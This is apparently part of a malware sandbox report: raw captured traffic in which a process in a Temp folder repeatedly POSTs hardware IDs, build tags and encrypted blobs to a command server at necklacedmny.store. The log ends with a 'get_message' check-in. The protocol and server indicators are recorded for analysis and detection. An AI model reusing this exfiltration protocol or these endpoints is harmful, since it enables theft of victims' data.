2024-10-31 03:16:28 UTC	1369	IN	Data Raw: 36 59 73 50 33 49 63 6e 67 32 42 30 6c 45 68 30 70 55 6f 36 54 43 48 68 6d 78 4b 4a 47 74 68 47 43 48 4e 4a 4c 53 42 4f 61 4a 4c 63 30 32 50 42 48 74 2f 4c 4e 47 53 77 46 44 43 38 51 36 63 74 43 63 44 61 62 6a 41 6e 2f 57 4e 6b 4c 68 42 34 4c 57 70 6f 66 36 44 53 59 34 45 32 73 6b 70 31 41 63 6c 41 46 63 45 53 4f 79 77 67 76 64 4e 4c 62 46 50 39 4f 32 55 72 48 56 45 6f 53 32 51 33 36 4d 2f 36 4f 4f 4f 33 4b 79 41 41 7a 50 43 51 35 52 38 50 62 58 32 5a 71 69 5a 67 49 73 52 47 50 54 59 6f 47 56 31 53 43 49 72 6b 38 67 49 39 52 74 39 2b 4f 54 32 49 33 47 54 42 54 79 63 74 5a 4f 67 47 47 6c 67 43 6f 42 39 6c 44 68 45 41 59 54 49 70 56 75 58 44 52 38 45 65 6e 6c 5a 56 43 63 56 56 4b 62 45 4b 41 78 41 68 68 5a 73 54 4a 53 50 38 45 32 56 57 45 41 56 73 47 79 42 Data Ascii: 6YsP3Icng2B0lEh0pUo6TCHhmxKJGthGCHNJLSBOaJLc02PBHt/LNGSwFDC8Q6ctCcDabjAn/WNkLhB4LWpof6DSY4E2skp1AclAFcESOywgvdNLbFP9O2UrHVEoS2Q36M/6OOO3KyAAzPCQ5R8PbX2ZqiZgIsRGPTYoGV1SCIrk8gI9Rt9+OT2I3GTBTyctZOgGGlgCoB9lDhEAYTIpVuXDR8EenlZVCcVVKbEKAxAhhZsTJSP8E2VWEAVsGyB
2024-10-31 03:16:28 UTC	1369	IN	Data Raw: 2f 6c 2f 76 68 35 5a 58 46 77 45 55 4d 46 72 59 7a 41 56 51 4b 4a 75 61 45 4b 38 42 6c 6b 32 4b 42 6c 35 55 67 6b 6d 33 4e 4d 53 68 58 36 2b 58 6e 45 78 33 55 55 31 75 44 39 47 54 55 54 63 77 33 4d 4e 55 38 56 61 4c 54 5a 77 47 48 78 66 49 43 66 39 33 31 72 4e 59 79 66 6e 70 47 53 55 44 44 43 35 4b 77 5a 4a 6d 51 51 65 69 70 52 4f 38 47 4a 63 4b 30 6c 63 59 57 70 6f 55 75 53 7a 35 38 46 65 33 2b 49 42 58 4f 6b 4a 43 66 6d 6a 4e 30 30 5a 77 4d 49 33 57 49 62 45 52 6d 42 76 55 55 56 64 62 39 43 33 59 4e 49 37 77 47 62 65 66 6e 46 6c 69 42 67 74 2b 42 5a 36 50 45 79 4a 31 79 38 74 55 6f 46 69 41 54 64 49 47 41 45 61 55 57 2b 73 30 6d 50 42 59 39 4e 58 63 45 53 45 55 47 58 6c 6a 38 50 70 47 63 43 65 4b 69 77 75 7a 4e 35 6f 63 7a 6e 68 6d 41 64 6b 56 39 33 50 Data Ascii: /l/vh5ZXFwEUMFrYzAVQKJuaEK8Blk2KBl5Ugkm3NMShX6+XnEx3UU1uD9GTUTcw3MNU8VaLTZwGHxfICf931rNYyfnpGSUDDC5KwZJmQQeipRO8GJcK0lcYWpoUuSz58Fe3+IBXOkJCfmjN00ZwMI3WIbERmBvUUVdb9C3YNI7wGbefnFliBgt+BZ6PEyJ1y8tUoFiATdIGAEaUW+s0mPBY9NXcESEUGXlj8PpGcCeKiwuzN5ocznhmAdkV93P
2024-10-31 03:16:28 UTC	1369	IN	Data Raw: 38 53 4d 4a 69 38 47 44 43 74 65 33 74 70 32 53 51 75 4f 6e 42 61 38 56 4c 55 4b 79 55 70 6d 4b 75 30 4b 2f 6d 53 43 6c 68 7a 68 78 49 35 5a 59 68 70 61 5a 68 33 6a 7a 30 39 6e 4a 64 36 33 41 62 49 61 32 52 4b 4b 58 78 67 43 6d 6b 4f 71 4f 6f 43 69 58 36 2b 48 69 52 51 77 45 42 77 39 53 38 32 61 64 6b 6b 4c 6a 70 77 57 76 46 53 6f 41 4d 42 51 54 52 66 4b 48 4d 64 4b 37 61 49 59 35 38 53 4d 4d 68 68 41 4b 79 68 65 7a 74 4e 50 4e 32 6a 63 67 30 62 6e 56 72 51 66 77 31 5a 62 56 76 38 68 75 30 58 57 73 78 2f 35 77 49 34 49 62 42 74 61 4b 42 32 57 6a 67 59 33 4e 4e 7a 44 52 76 67 59 6c 41 7a 48 53 46 73 47 79 42 33 36 59 73 50 33 49 63 6e 6f 78 52 59 79 44 77 73 7a 57 64 6a 6a 64 6c 41 67 6d 5a 77 34 67 53 47 49 43 74 51 45 66 68 66 4d 47 4c 6b 36 67 4b 68 66 Data Ascii: 8SMJi8GDCte3tp2SQuOnBa8VLUKyUpmKu0K/mSClhzhxI5ZYhpaZh3jz09nJd63AbIa2RKKXxgCmkOqOoCiX6+HiRQwEBw9S82adkkLjpwWvFSoAMBQTRfKHMdK7aIY58SMMhhAKyheztNPN2jcg0bnVrQfw1ZbVv8hu0XWsx/5wI4IbBtaKB2WjgY3NNzDRvgYlAzHSFsGyB36YsP3IcnoxRYyDwszWdjjdlAgmZw4gSGICtQEfhfMGLk6gKhf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49943	188.114.97.3	443	6292	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:29 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 03:16:29 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:16:29 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 03:16:30 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rf0vdeeucbt4okctk5qcs6l4b9; expires=Sun, 23-Feb-2025 21:03:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FOWvQm%2BklXZVz8ewp3wljtK47tGaFMIXJIcuibyOQNxkotw7PDRKIquykaZgM9McoZY0e2dP8jl8BDSlBNcwOZ%2BBCF7ScTW57sHoo2Al85dCpAS2m6jD4toVOwv2kIS2mm011ks%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07c94dffe4858-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=964&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2842001&cwnd=240&unsent_bytes=0&cid=3678aea2be4aabea&ts=842&x=0"
2024-10-31 03:16:30 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:16:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49960	188.114.97.3	443	6292	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:31 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 03:16:31 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:16:32 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ke0v40lnkl2f31qb7nq25jcpjt; expires=Sun, 23-Feb-2025 21:03:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s0xXVvhyrnRICrQGYTUQ3UQVURyrejgNbVrjQmH2SOCfgnpkPSPmTinJHWJrYM4JLJC2XRnsSGM0lDxIC4qvK2Sbw2ykrs9BzCT0Vn5sC6N9pSmEAYOv2ruK84RPVljlMJkb%2Fho%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07ca08b0fe84b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1280&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=2157973&cwnd=251&unsent_bytes=0&cid=b7b9bd177197877a&ts=753&x=0"
2024-10-31 03:16:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:16:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49979	188.114.97.3	443	6292	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:34 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 03:16:34 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:16:34 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 03:16:35 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1jne2imc8ud4i9rbfq4div8han; expires=Sun, 23-Feb-2025 21:03:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8J3O8DlTznreAnu4JLrVuxsT835DgwUVEN38LS9D4SUBUQfNx7keSwCcxeoZxZInCASyeQmp36YXBZ6NpYMP1UAwCrkO%2F7vu8wDHDuLZvAVhgy%2BO1FFuWVD4Sz5lnr6hrjZPIGM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07cb639d36b38-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1090&sent=12&recv=28&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21406&delivery_rate=2635122&cwnd=251&unsent_bytes=0&cid=650a851526829c08&ts=686&x=0"
2024-10-31 03:16:35 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:16:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50008	188.114.97.3	443	6292	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:38 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1285 Host: necklacedmny.store
2024-10-31 03:16:38 UTC	1285	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:16:38 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b8ifq5gc7o37l21kjb8itr3pij; expires=Sun, 23-Feb-2025 21:03:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gEg3E0%2F8gqBi4BoLtIAV%2B85UEc4hBFYsncR%2BevsSIJMFi4rMTUBZcAtIdZvve%2BY%2FZ5N4R02hhscTZIFKyzz7ISeAhFPOqf3k4Urw1u3csOsEpvkTaosgPJBkuYKQwG4NX5BgsHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07ccb5ed63ab0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1117&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2204&delivery_rate=2585714&cwnd=251&unsent_bytes=0&cid=478cd0a6f71e96d0&ts=331&x=0"
2024-10-31 03:16:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:16:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50033	188.114.97.3	443	6292	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:40 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19563 Host: necklacedmny.store
2024-10-31 03:16:40 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"623F3A3CB390D3108A14ED63712A8DC2--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 03:16:40 UTC	4232	OUT	Data Raw: d0 4f 41 7e c5 cb 98 ab 19 bd 56 1b b0 84 2a a5 6b a9 87 47 3f 5d a1 b0 2b 24 11 21 86 51 88 8a ec 3d 96 e6 49 c7 81 8f 0d 08 d6 2f 32 fd 39 30 ab d0 d1 99 f6 a1 a8 b4 ee 57 62 88 f3 67 36 26 c0 1c 15 ea b6 cd 40 77 2e fe fe 7c 53 86 81 21 09 ae be 1f 0b 21 3b a7 07 2d 9e b0 3d 7f 39 68 57 29 67 7d 53 db c6 a0 4e 3f 56 be 29 ec d9 fd 72 02 99 44 3b a8 c7 23 c5 d1 4d 8c bf a8 e7 58 d6 e4 de d6 0e d1 8d f2 57 5b db 1b 11 85 b1 5a 2d be 8e 1c 79 77 eb 0a 20 7b c9 6f 94 7d b7 0a 13 bc 2e 85 b1 4f 1d f0 b7 18 28 1c f1 f3 f5 56 e3 a7 b9 7f b5 4e 42 9f 79 3d 09 62 97 41 8c cd de 35 ce ef b7 b3 c6 d8 31 20 6a fb d8 81 14 96 d7 78 5f da ff 4e c7 a7 2e 98 a5 f1 ca 8f b5 5f 83 9b 6f a3 4d f4 f2 ea 14 8e de 5e f0 41 9c 6a 08 bc 3b e7 56 f9 ce 67 15 22 f3 7e 2c 97 8f Data Ascii: OA~V*kG?]+$!Q=I/290Wbg6&@w.\|S!!;-=9hW)g}SN?V)rD;#MXW[Z-yw {o}.O(VNBy=bA51 jx_N._oM^Aj;Vg"~,
2024-10-31 03:16:41 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hcfr8ppb6j9gm253c4m2s8pdb9; expires=Sun, 23-Feb-2025 21:03:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aPhgyelLHnp%2BEsUICU87wXO53zC6BRolJfX8wm%2FCfgNdcUNBi%2BelIWKzxKz2GroTMZ5TdHAuP7ADwvul374azSTB9Sl5fIUgaLLO6S9vn78RAg1E1341OZfCPSS3OdgJwsUzsHY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db07cd9ec618c58-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1363&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=20527&delivery_rate=2087959&cwnd=32&unsent_bytes=0&cid=0a1f04417a455ded&ts=853&x=0"
2024-10-31 03:16:41 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 03:16:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50043	188.114.97.3	443	6292	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 03:16:42 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 03:16:42 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 36 32 33 46 33 41 33 43 42 33 39 30 44 33 31 30 38 41 31 34 45 44 36 33 37 31 32 41 38 44 43 32 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=623F3A3CB390D3108A14ED63712A8DC2
